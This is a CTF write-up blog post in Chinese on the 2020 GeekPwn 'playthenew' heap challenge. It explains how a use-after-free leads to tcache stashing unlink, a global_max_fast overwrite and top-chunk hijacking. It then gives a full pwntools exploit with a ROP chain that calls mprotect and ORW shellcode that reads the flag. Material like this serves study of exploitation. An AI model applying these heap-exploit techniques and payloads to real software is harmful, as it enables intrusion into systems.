2020-GeekPwn-playthenew

1.查看文件

保护全开,同时伴随着沙箱 # 2.IDA分析 同时该二进制文件是没有符号表的,所以也加大了逆向难度。最后一步一步逆后大概就这样的一些关键点: **创建要求0x80~0x200,那么就避免了fastbin和largebin的情况。**
**看汇编很清楚的可以看到删除时指针未清零,那么就有UAF的情况了**
**除此之外有个后门函数,判断其对应的位置是不是0x42,然后执行call target,target和rdi可控**
show功能和edit功能正常。

3.思路

很明显的意图可以想到我们需要修改其对应的位置的值,将0x42改为其它的内容。

这道题优点像one_punch_man和高效战役的two_chunk,但是比较恶心的是没有malloc功能的函数。如果我们进行tcache smashing attack后改掉对应位置的fd要怎么去取呢?

实际上我们可以换个思路,我们可以考虑先利用一次tcache smashing unlink来达到调用后门函数的要求,也就是利用归类smallbin进入tcache的时候任意地址(0x100000)写libc地址的机会将0x42改掉。这个时候就可以调用后门函数了。但是这个时候又有一个问题,我们需要控制0x100000处的地址来实现任意函数调用的目的,那我们又该怎么做呢?那说白了我们还是需要想办法来分配到0x100000的地址,而且是在没有malloc的情况。

大概讲讲tcache smashing unlink的思路:利用一条0x160的tcache list(满的7个)和一条0xb0的tache list(6个)。当0x160满了之后释放的chunk进入unsorted bin,这时候切割一下,将0xb0剩下,通过calloc一个更大的chunk令其归入smallbin中。再用一次这个方法使0xb0的smallbin有两个chunk,此时利用UAF修改后进入smallbin的0xb0的chunk的bk为0x100000-8-4,在calloc 0xb0的chunk,则先进入的chunk会被分配,后进入的会进入tcache,由于进入tcache没有检查:

就可以0x100000-4写main_arena地址。此时这个chunk也进入tcache了,对应的0xb0就满了,也不会再继续向后索引检查了,也就不会报错。

来自Ama2in9师傅的思路,改掉global_max_fast来达到可以对大chunk进行fastbin的利用。具体就是当改掉global_max_fast后释放chunk就会当作fastbin处理(0x90~0x200),分配的时候calloc同样会找fastbin链有没有chunk。但是Ama2in9师傅后面的思路就有点麻烦了,大概是利用fastbin分配的特点在释放了的fd处伪造个size,chunk分配后就会将这个size当作下一个fd写到main_arena,这时再利用修改另一条链fd的目的劫持到size处,也就达到了劫持main_arena的目的,最后就可以改top chunk了。

在这里我的思路是:利用释放0xd0 size的chunk来覆盖掉top chunk,因为此时会将一切大小的chunk作为fastbin chunk处理。那么此时top chunk就是这个0xd0的chunk地址,此时利用UAF改其fd为0x100000,这样再malloc(0xc0)就可以将0x100000写入top chunk了。还需要注意一点:top chunk的size需要小于0x21000,在2.23里面没有检查这就要求我们向0x100000写libc地址的时候需要错位改一下0x100008的值为0x7fff。此时就可以随便分配fake topchunk了。注意一点:由于fastbin分配的时候会有检查,不为空的时候:victim->bk->fd = victim,那么由于对应的fastbin链中(实际上就是smallbin了)本身就有libc地址那么malloc的时候list检查肯定会出错,所以我们就要提前准备一个size的链,保证释放后这个地址是有chunk的地址不是libc,同时改这个chunk的fd为0就可以正常分配释放这个size的chunk了。我们选取0x120的chunk来进行分配释放,由于0x100000可控了。我们首先选择调用puts函数,参数为environ打印出stack地址。再删除再malloc调用gets,地址为调用backdoor的返回地址,写入rop令我们指定的0x100000地址数据可执行,提前再分配一个0x120 的chunk写入shellcode(ORW的shellcode),最后rop可以接着写pop rax,call rax打印出flag。

总结
第一步:泄露libc地址和heap地址。
第二步:第一次tcache smashing unlink,一次改0x100000!=0x42,同时也可以修改0x10008=0x7fff(错位写)。
第三步:第二次tcache smashing unlink改global_max_fast。
第四步:释放0xd0的chunk覆盖top chunk的位置,同时改fd为0x100000,通过一次分配0xd0的chunk就可以控制0x100000的地址了。
第五步:第一次利用puts函数,参数为environ得到stack地址。第二次利用gets向栈返回地址写入rop执行mprotect使0x100000可执行。再此之前在对应的位置写上shellcode,这样rop就可以加一条pop rax;call rax来得到flag了。

4.exp

#coding=utf-8
from pwn import *
# context.terminal = ["tmux","split","-h"]
context.log_level = "debug"
context.arch = "amd64"
debug = 1
if debug:
    p = process("./pwn")
    elf = ELF("./pwn")
    libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.29.so")
else:
    p = remote("127.0.0.1",1234)
    elf = ELF("./pwn")
    libc = ELF("./libc.so")

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims              :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))

def create(index,size,content):
    sla(">","1")
    sla("index:",str(index))
    sla("basketball:",str(size))
    sa("name:",content)

def delete(index):
    sla(">","2")
    sla("basketball:",str(index))

def show(index):
    sla(">","3")
    sla("basketball:",str(index))

def edit(index,content):
    sla(">","4")
    sla("basketball:",str(index))
    sa("basketball:",content)

def backdoor():
    sla("> ",str(0x666))

# ------ show heap address & libc address -------
create(0,0x180,"\n")
create(1,0x180,"\n")
delete(0)
delete(1)
show(1)
ru("Show the dance:")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))-0x10
success("heap address ==> "+hex(heap_addr))
for i in range(5):
    create(0,0x180,"\n")
    delete(0)
for i in range(6):
    create(0,0xa0,"\n")
    delete(0)
for i in range(6):
    create(0,0xb0,"\n")
    delete(0)

for i in range(7):
    create(0,0xc0,"\n")
    delete(0)
create(4,0xc0,"\n")
for i in range(7):
    create(1,0x120,"\n")
    delete(1)

create(0,0x180,"\n")
create(1,0x190,"\n")
delete(0)  # UAF size = 0x190
show(0)
ru("Show the dance:")
static_libc = 0x7ffff7dce000
main_arena = 0x00007ffff7fb2ca0
heap_static = 0x55555555a250
libc.address = u64(p.recv(6).ljust(8,"\x00"))+static_libc-main_arena
success("libc address ==> "+hex(libc.address))

# -------- tcache smashing unlink attack modify 0x10000 have libc addr ---------
create(1,0xd0,"\n") # 1
for i in range(7):
    create(1,0x1a0,"\n")
    delete(1)
create(1,0x1a0,"\n")
create(2,0x1b0,"\n")
delete(1)             # we can uaf 0x1a0 size, this chunk have been split
create(0,0xf0,"\n")
create(0,0x1b0,"\n")
edit(1,"a"*0xf0+p64(0)+p64(0xb1)+p64(heap_addr-heap_static+0x000055555555c590)+p64(0x0000000000100000-4-8)+"\n")
create(0,0xa0,"\n")

# -------- tcache smashing unlink attack modify global_max_fast ---------
create(0,0x180,"\n")
create(1,0x100,"\n")
delete(0)
create(0,0xc0,"\n")
create(0,0x1a0,"\n")
create(1,0x100,"\n")
delete(0)
create(1,0xe0,"\n")
create(2,0x100,"\n")
edit(0,"a"*0xe0+p64(0)+p64(0xc1)+p64(heap_addr-heap_static+0x000055555555d9b0)+p64(0x7ffff7fb5600-0x10+libc.address-static_libc)+"\n")

# --------- prepare chunk for hijacking top chunk -------------
create(1,0x120,"\n")
create(3,0xb0,"\n") # tcache smashing unlink to modify  
delete(1)
delete(4)           # delete 0xd0 size chunk, this chunk addr will cover top chunkaddr
delete(3)
edit(3,p64(0x100000)+"\n")
create(3,0xb0,"\n")
edit(1,p64(0)+"\n")  # modify 0x130 fast chunnk fd = 0
create(1,0x120,"\n") #clear fastbin 0x130 list

# backdoor execute puts(environ)
create(1,0x120,p64(libc.sym["puts"])+p64(libc.address - static_libc + 0x7ffff7fb5d60)) 
backdoor()
stack_addr = u64(p.recv(6).ljust(8,"\x00"))-0x7fffffffe038+0x7fffffffdf28
success("stack address ==> "+hex(stack_addr))
# backdoor execute gets(ret stack addr) and call [0x100000+0x140]
if debug:
    pop_rax = libc.address + 0x0000000000047cf8
    pop_rdi = libc.address + 0x0000000000026542
    pop_rsi = libc.address + 0x0000000000026f9e
    pop_rdx = libc.address + 0x000000000012bda6
    syscall = libc.address + 0x00000000000cf6c5
    pop_rax_call_rax = libc.address + 0x000000000014f404
else:
    pop_rax = libc.address + 0x0000000000047cf8
    pop_rdi = libc.address + 0x0000000000026542
    pop_rsi = libc.address + 0x0000000000026f9e
    pop_rdx = libc.address + 0x000000000012bda6
    syscall = libc.address + 0x00000000000cf6c5
    pop_rax_call_rax = libc.address + 0x000000000014f404

payload2 = asm('''
            mov rdi,0x100140
            xor rsi,rsi
            xor rdx,rdx
            mov rax,2
            syscall
            mov rdi,rax
            mov rsi,0x100200
            mov rdx,0x40
            mov rax,0
            syscall
            mov rdi,1
            mov rsi,0x100200
            mov rdx,0x40
            mov rax,1
            syscall
            ''')

payload1 = flat([pop_rdi,0x100000,pop_rsi,0x1000,pop_rdx,7,libc.sym["mprotect"],pop_rax_call_rax,0x100000+0x140+8])
delete(1)
create(1,0x120,p64(libc.sym["gets"])+p64(stack_addr)+"\n")
create(2,0x120,"flag"+"\x00"*4+payload2+"\n")
# p.clean()
gdb.attach(p)
backdoor()
raw_input()
sl(payload1)
# gdb.attach(p)

p.interactive()

  Reprint policy: xiaoxin 2020-GeekPwn-playthenew

 Previous
2020-GeekPwn-paperPrinter 2020-GeekPwn-paperPrinter
0x01 查看文件 保护全开 # 0x02 IDA分析 随机化开辟一块地址: 这道题的整体思路有点像,同样的可以无限的编辑溢出,但是区别是这里只有两次malloc的机会。两次malloc第一次是可以malloc,第二次是再exitFunc
2020-08-06
Next 
WinPwn入门之-HITB-Babystack WinPwn入门之-HITB-Babystack
0x00 前言学习Windows Pwn的第二步,感觉不baby啊。 0x01 查看文件利用checksec脚本查看保护机制 后来发现更好的查看文件保护机制的方法:winchecksec 我们看到DEP开启也就是说数据不可执行,地址随
  TOC